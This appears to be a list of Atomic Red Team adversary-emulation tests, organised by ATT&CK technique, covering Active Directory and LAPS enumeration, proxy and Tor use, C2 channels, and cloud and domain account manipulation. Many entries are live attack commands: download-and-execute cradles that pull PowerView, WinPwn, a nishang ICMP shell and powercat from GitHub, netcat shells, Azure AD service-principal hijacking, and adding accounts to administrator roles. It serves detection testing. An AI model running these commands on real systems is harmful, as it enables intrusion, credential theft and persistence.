Enumerate all accounts (Domain)

net user /domain
net group /domain

T1087.002 - Account Discovery: Domain Account

Enumerate all accounts via PowerShell (Domain)

net user /domain
get-localgroupmember -group Users
get-aduser -filter *

T1087.002 - Account Discovery: Domain Account

Enumerate logged on users via CMD (Domain)

query user /SERVER:%COMPUTERNAME%

T1087.002 - Account Discovery: Domain Account

Automated AD Recon (ADRecon)

Invoke-Expression "..\ExternalPayloads\ADRecon.ps1"

T1087.002 - Account Discovery: Domain Account

Adfind -Listing password policy

"..\ExternalPayloads\AdFind.exe" None -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties

T1087.002 - Account Discovery: Domain Account

Adfind - Enumerate Active Directory Admins

"..\ExternalPayloads\AdFind.exe" -sc admincountdmp None

T1087.002 - Account Discovery: Domain Account

Adfind - Enumerate Active Directory User Objects

"..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) None

T1087.002 - Account Discovery: Domain Account

Adfind - Enumerate Active Directory Exchange AD Objects

"..\ExternalPayloads\AdFind.exe" -sc exchaddresses None

T1087.002 - Account Discovery: Domain Account

Enumerate Default Domain Admin Details (Domain)

net user administrator /domain

T1087.002 - Account Discovery: Domain Account

Enumerate Active Directory for Unconstrained Delegation

Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=524288)' -Server $env:UserDnsDomain

T1087.002 - Account Discovery: Domain Account

Get-DomainUser with PowerView

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose

T1087.002 - Account Discovery: Domain Account

Enumerate Active Directory Users with ADSISearcher

([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()

T1087.002 - Account Discovery: Domain Account

Enumerate Linked Policies In ADSISearcher Discovery

(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}

T1087.002 - Account Discovery: Domain Account

Enumerate Root Domain linked policies Discovery

(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}

T1087.002 - Account Discovery: Domain Account

WinPwn - generaldomaininfo

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

T1087.002 - Account Discovery: Domain Account

Kerbrute - userenum

cd "..\ExternalPayloads"
.\kerbrute.exe userenum -d $env:USERDOMAIN --dc $env:UserDnsDomain "..\ExternalPayloads\username.txt"

T1087.002 - Account Discovery: Domain Account

Wevtutil - Discover NTLM Users Remote

$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'

T1087.002 - Account Discovery: Domain Account

Suspicious LAPS Attributes Query with Get-ADComputer all properties

Get-ADComputer $env:computername -Properties *

T1087.002 - Account Discovery: Domain Account

Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property

Get-ADComputer $env:computername -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

T1087.002 - Account Discovery: Domain Account

Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope

Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *

T1087.002 - Account Discovery: Domain Account

Suspicious LAPS Attributes Query with adfind all properties

& "..\ExternalPayloads\AdFind.exe" None -h $env:USERDOMAIN -s subtree -f "objectclass=computer" *

T1087.002 - Account Discovery: Domain Account

Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd

& "..\ExternalPayloads\AdFind.exe" None -h $env:USERDOMAIN -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

T1087.002 - Account Discovery: Domain Account

Active Directory Domain Search

ldapsearch -H ldap://example.test:389 -x -D user@example.test -w s3CurePssw0rD! -b "CN=Users,DC=example,DC=test" -s sub -a always -z 1000 dn

T1087.002 - Account Discovery: Domain Account

Account Enumeration with LDAPDomainDump

ldapdomaindump -u domain\user -p password 127.0.0.1 -o /tmp/T1087

T1090.001 - Proxy: Internal Proxy

Connection Proxy

export http_proxy=127.0.0.1:3128
curl http://google.com

T1090.001 - Proxy: Internal Proxy

Connection Proxy for macOS UI

networksetup -setwebproxy Wi-Fi 127.0.0.1 8080
networksetup -setsecurewebproxy Wi-Fi 127.0.0.1 8080

T1090.001 - Proxy: Internal Proxy

portproxy reg key

netsh interface portproxy add v4tov4 listenport=1337 connectport=1337 connectaddress=127.0.0.1

T1090.003 - Proxy: Multi-hop Proxy

Psiphon

& "T1090.003\src\Psiphon.bat"

T1090.003 - Proxy: Multi-hop Proxy

Tor Proxy Usage - Windows

invoke-expression 'cmd /c start powershell -Command {cmd /c "..\ExternalPayloads\tor\Tor\tor.exe"}'
sleep -s 60
stop-process -name "tor" | out-null

T1090.003 - Proxy: Multi-hop Proxy

Tor Proxy Usage - Debian/Ubuntu/FreeBSD

[ "$(uname)" = 'FreeBSD' ] && sysrc tor_enable="YES" && service tor start || sudo systemctl start tor

T1090.003 - Proxy: Multi-hop Proxy

Tor Proxy Usage - MacOS

osascript -e 'tell application "Terminal" to do script "tor"'

T1091 - Replication Through Removable Media

USB Malware Spread Simulation

$RemovableDrives=@()
$RemovableDrives = Get-WmiObject -Class Win32_LogicalDisk -filter "drivetype=2" | select-object -expandproperty DeviceID
ForEach ($Drive in $RemovableDrives)
{
write-host "Removable Drive Found:" $Drive
New-Item -Path $Drive/T1091Test1.txt -ItemType "file" -Force -Value "T1091 Test 1 has created this file to simulate malware spread to removable drives."
}

T1095 - Non-Application Layer Protocol

ICMP C2

IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
Invoke-PowerShellIcmp -IPAddress 127.0.0.1

T1095 - Non-Application Layer Protocol

Netcat C2

cmd /c "..\ExternalPayloads\T1095\nmap-7.80\ncat.exe" 127.0.0.1 80

T1095 - Non-Application Layer Protocol

Powercat C2

IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
powercat -c 127.0.0.1 -p 80

T1095 - Non-Application Layer Protocol

Linux ICMP Reverse Shell using icmp-cnc

{MISSING IN ATOMIC RED TEAM}

T1098.001 - Account Manipulation: Additional Cloud Credentials

Azure AD Application Hijacking - Service Principal

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzureAD -Credential $Credential > $null

$sp = Get-AzureADServicePrincipal -SearchString "SuperSP" | Select-Object -First 1
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }

# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$credNotAfter = (Get-Date).AddDays(1)
$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry

$cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
Write-Host "Generated certificate ""$($cert.Thumbprint)"""

New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

Start-Sleep -s 30
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"

T1098.001 - Account Manipulation: Additional Cloud Credentials

Azure AD Application Hijacking - App Registration

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzureAD -Credential $Credential > $null

$app = Get-AzureADApplication -SearchString "SuperApp" | Select-Object -First 1
if ($app -eq $null) { Write-Warning "Application not found"; exit }

# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$credNotAfter = (Get-Date).AddDays(1)
$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry

$cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
Write-Host "Generated certificate ""$($cert.Thumbprint)"""

New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter

Start-Sleep -s 30
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"

T1098.001 - Account Manipulation: Additional Cloud Credentials

AWS - Create Access Key and Secret Key

aws iam create-access-key --user-name atomicredteam > "$T1098.001/bin/aws_secret.creds"
cd "$T1098.001/bin/"
./aws_secret.sh

T1098.002 - Account Manipulation: Additional Email Delegate Permissions

EXO - Full access mailbox permission granted to a user

Import-Module ExchangeOnlineManagement
$secure_pwd = "o365_password_test" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "o365_user_test@contoso.com", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Add-MailboxPermission -Identity "delegate@contoso.com" -User "operator@contoso.com" -AccessRights FullAccess -InheritanceType All
Disconnect-ExchangeOnline -Confirm:$false

T1098.003 - Account Manipulation: Additional Cloud Roles

Azure AD - Add Company Administrator Role to a user

Import-Module MSOnline
$Password = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Password
Connect-MsolService -Credential $Credential
Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "default"

T1098.003 - Account Manipulation: Additional Cloud Roles

Simulate - Post BEC persistence via user password reset followed by user added to company administrator role

Import-Module MSOnline
Import-Module AzureAD
$password = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $password
$targetsecurepw = ConvertTo-SecureString -String "Ohn05GeMe#$" -AsPlainText -Force
Connect-MsolService -Credential $credential -ErrorAction:SilentlyContinue
Connect-AzureAD -Credential $credential -ErrorAction:SilentlyContinue

#Saving the ObjectId of the target_user into a variable
$target_objid = Get-AzureADUser -filter "userPrincipalName eq 'default'" | Select-Object -ExpandProperty ObjectId

#Reset the password of the target_user
Set-AzureADUserPassword -ObjectId $target_objid -Password $targetsecurepw -ErrorAction:SilentlyContinue

#Adding target_user
Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "default"
Add-MsolRoleMember -RoleName "Global Reader" -RoleMemberEmailAddress "default"

T1098.004 - SSH Authorized Keys

Modify SSH Authorized Keys

if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo "$ssh_authorized_keys" > ~/.ssh/authorized_keys; fi;

T1098 - Account Manipulation

Admin Account Manipulate

$x = Get-Random -Minimum 2 -Maximum 9999
$y = Get-Random -Minimum 2 -Maximum 9999
$z = Get-Random -Minimum 2 -Maximum 9999
$w = Get-Random -Minimum 2 -Maximum 9999
Write-Host HaHa_$x$y$z

$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match "User" -and $_.PrincipalSource -match "Local"} | Select Name

foreach($member in $fmm) {
if($member -like "*Administrator*") {
$account = $member.Name.Split("\")[-1] # strip computername\
$originalDescription = (Get-LocalUser -Name $account).Description
Set-LocalUser -Name $account -Description "atr:$account;$originalDescription".Substring(0,48) # Keep original name in description
Rename-LocalUser -Name $account -NewName "HaHa_$x$y$z" # Required due to length limitation
Write-Host "Successfully Renamed $account Account on " $Env:COMPUTERNAME
}
}

T1098 - Account Manipulation

Domain Account and Group Manipulate

$x = Get-Random -Minimum 2 -Maximum 99
$y = Get-Random -Minimum 2 -Maximum 99
$z = Get-Random -Minimum 2 -Maximum 99
$w = Get-Random -Minimum 2 -Maximum 99

Import-Module ActiveDirectory
$account = "atr--$x$y$z"
New-ADUser -Name $account -GivenName "Test" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False
Add-ADGroupMember "Domain Admins" $account

T1098 - Account Manipulation

AWS - Create a group and add a user to that group

aws iam create-group --group-name atomicredteam
aws iam add-user-to-group --user-name atomicredteam --group-name atomicredteam

T1098 - Account Manipulation

Azure AD - adding user to Azure AD role

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzureAD -Credential $Credential

$user = Get-AzureADUser -Filter "DisplayName eq 'SuperUser' or UserPrincipalName eq 'SuperUser'"
if ($user -eq $null) { Write-Warning "User not found"; exit }
$role = Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Reader'"
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $user.ObjectId
Write-Host "User $($user.DisplayName) was added to $($role.DisplayName) role"

T1098 - Account Manipulation

Azure AD - adding service principal to Azure AD role

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzureAD -Credential $Credential

$sp = Get-AzureADServicePrincipal -Filter "DisplayName eq 'SuperSP'"
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$role = Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Reader'"
if ($role -eq $null) { Write-Warning "Role not found"; exit }
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId $sp.ObjectId
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.DisplayName)"

T1098 - Account Manipulation

Azure - adding user to Azure role in subscription

Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzAccount -Credential $Credential

$user = Get-AzADUser | where-object {$_.DisplayName -eq "SuperUser" -or $_.UserPrincipalName -eq "SuperUser" }
if ($user -eq $null) { Write-Warning "User not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "Azure subscription 1"}
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "Reader"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"

T1098 - Account Manipulation

Azure - adding service principal to Azure role in subscription

Import-Module -Name Az.Resources
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzAccount -Credential $Credential

$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq "SuperSP"}
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
$subscription = Get-AzSubscription | where-object {$_.Name -eq "Azure subscription 1"}
if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
$role = Get-AzRoleDefinition | where-object {$_.Name -eq "Reader"}
if ($role -eq $null) { Write-Warning "Role not found"; exit }

New-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
Write-Host "Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"

T1098 - Account Manipulation

Azure AD - adding permission to application

Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "p4sswd" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "jonh@contoso.com", $Pword
Connect-AzureAD -Credential $Credential

$aadApplication = New-AzureADApplication -DisplayName "test_app"
$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId
#$aadApplication = Get-AzureADApplication -Filter "DisplayName eq 'test_app'"

#Get Service Principal of Microsoft Graph Resource API
$graphSP = Get-AzureADServicePrincipal -Filter "DisplayName eq 'Microsoft Graph'"

#Initialize RequiredResourceAccess for Microsoft Graph Resource API
$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$requiredGraphAccess.ResourceAppId = $graphSP.AppId
$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]

#Set Application Permissions
$ApplicationPermissions = @('DirectoryRecommendations.Read.All')

$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}
if($reqPermission)
{
$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$resourceAccess.Type = "Role"
$resourceAccess.Id = $reqPermission.Id
#Add required app permission
$requiredGraphAccess.ResourceAccess.Add($resourceAccess)
}
else
{
Write-Host "App permission $permission not found in the Graph Resource API" -ForegroundColor Red
}

#Add required resource accesses
$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]
$requiredResourcesAccess.Add($requiredGraphAccess)

#Set permissions in existing Azure AD App
Set-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess

$servicePrincipal = Get-AzureADServicePrincipal -Filter "AppId eq '$($aadApplication.AppId)'"

New-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id

T1098 - Account Manipulation

Password Change on Directory Service Restore Mode (DSRM) Account

ntdsutil "set dsrm password" "sync from domain account %username%" "q" "q"

T1098 - Account Manipulation

Domain Password Policy Check: Short Password

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "Uplow-1"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString Uplow-1 -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to Uplow-1"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "Uplow-1" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

T1098 - Account Manipulation

Domain Password Policy Check: No Number in Password

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "UpperLowerLong-special"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString UpperLowerLong-special -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to UpperLowerLong-special"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "UpperLowerLong-special" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

T1098 - Account Manipulation

Domain Password Policy Check: No Special Character in Password

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "UpperLowerLong333noSpecialChar"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString UpperLowerLong333noSpecialChar -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to UpperLowerLong333noSpecialChar"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "UpperLowerLong333noSpecialChar" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

T1098 - Account Manipulation

Domain Password Policy Check: No Uppercase Character in Password

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "lower-long-special-333"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString lower-long-special-333 -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to lower-long-special-333"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "lower-long-special-333" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

T1098 - Account Manipulation

Domain Password Policy Check: No Lowercase Character in Password

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "UPPER-LONG-SPECIAL-333"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString UPPER-LONG-SPECIAL-333 -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to UPPER-LONG-SPECIAL-333"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "UPPER-LONG-SPECIAL-333" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

T1098 - Account Manipulation

Domain Password Policy Check: Only Two Character Classes

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "onlyUPandLowChars"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString onlyUPandLowChars -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to onlyUPandLowChars"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "onlyUPandLowChars" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

T1098 - Account Manipulation

Domain Password Policy Check: Common Password Use

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
if($cred.GetNetworkCredential().Password -eq "Spring$((Get-Date).Year)!"){
Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
}
try {
$newPassword = ConvertTo-SecureString Spring$((Get-Date).Year)! -AsPlainText -Force
Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
}
catch {
$_.Exception
$errCode = $_.Exception.ErrorCode
Write-Host "Error code: $errCode"
if ($errCode -eq 86) {
Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
Remove-Item $credFile
}
exit $errCode
}
Write-Host -ForegroundColor Cyan "Successfully changed the password to Spring$((Get-Date).Year)!"
$newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "Spring$((Get-Date).Year)!" -AsPlainText -Force))
$newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}

T1098 - Account Manipulation

GCP - Delete Service Account Key

gcloud config set project atomic-test-1
KEY=`gcloud iam service-accounts keys list --iam-account=atomic-service-account@atomic-test-1.iam.gserviceaccount.com --format="value(KEY_ID)" --limit=1`
gcloud iam service-accounts keys delete $KEY --iam-account=atomic-service-account@atomic-test-1.iam.gserviceaccount.com --quiet

T1105 - Ingress Tool Transfer

rsync remote file copy (push)

